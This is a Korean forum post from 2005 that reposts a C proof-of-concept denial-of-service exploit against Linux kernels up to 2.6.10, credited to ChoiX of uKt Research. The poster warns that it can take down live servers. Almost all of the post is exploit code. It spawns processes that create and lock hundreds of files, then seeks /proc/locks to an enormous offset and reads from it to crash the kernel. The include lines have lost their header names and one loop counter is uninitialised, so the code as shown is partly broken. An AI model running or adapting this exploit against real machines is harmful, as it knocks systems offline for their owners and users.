security

Total 112
Today 0
profile_image
ino
05-03-30 21:22 0개 3,092회
Linux Kernel v2.6.10 Remote Denial of Service Proof of Concept Exploit
커널 문제가 너무 자주 나오네요~ 큰일입니다.

테스트 서버에만 적용하시길 바랍니다.~

운영되는 서버 죽어버릴수도 있으니까요



Linux Kernel v2.6.10 Remote Denial of Service Proof of Concept Exploit

Date : 30/03/2005



/*

* linux kernel <=2.6.10(2.6.x) DOS exploit

* writen by ChoiX

* (c) uKt Research

* [www.unl0ck.org][info@unl0ck.org]

*/



#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include



#define SIZE 0x80004242



_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh);



void createfile(){

int nm1, filev;

char vname[424];



for(nm1=0;nm1<920;nm1++){

snprintf(vname, sizeof(vname), "UNLOCKRESEARCHTEAM%d.%d", getpid(), nm1);

filev = open(vname, O_CREAT|O_RDWR, S_IRWXU);

if(filev < 0){

printf("ERRORn");

perror("open()");

}

if(flock(filev,LOCK_EX) == -1){

printf("ERRORn");

perror("flock()");

}

}

while(42);

}



int main(int argc, char *argv[]){

int count, fd, i, fv;

void *mv;

char *buf1, *buf2;

loff_t lr;

int nm1;



printf("ttkernel-2.6.10 DoS by ChoiX [Unl0ck Team]n");

printf("[--]create files(it can take a few minutes)...");

nm1 = 5;

while(count--){

if(!fork()){

createfile();

}

}

sleep(100);



printf("OKn");



printf("[--]start exploiting...");



system("sync");

fd=open("/proc/locks", O_RDONLY);

if(fd < 0){

printf("ERRORn");

perror("open()");

}

buf1 = malloc(1024*1024*8);

buf2 = malloc(1024*1024*8);



if(_llseek(fd,42,SIZE,&lr,SEEK_SET) == -1){

printf("ERRORn");

printf("llseek()");

}

i=read(fd,buf2, SIZE);

perror("read");

printf("read=%d mv=%x fv=%xn %.300s",i,(int)mv,fv,buf2);

while(42);

return 42;

}


댓글목록

등록된 댓글이 없습니다.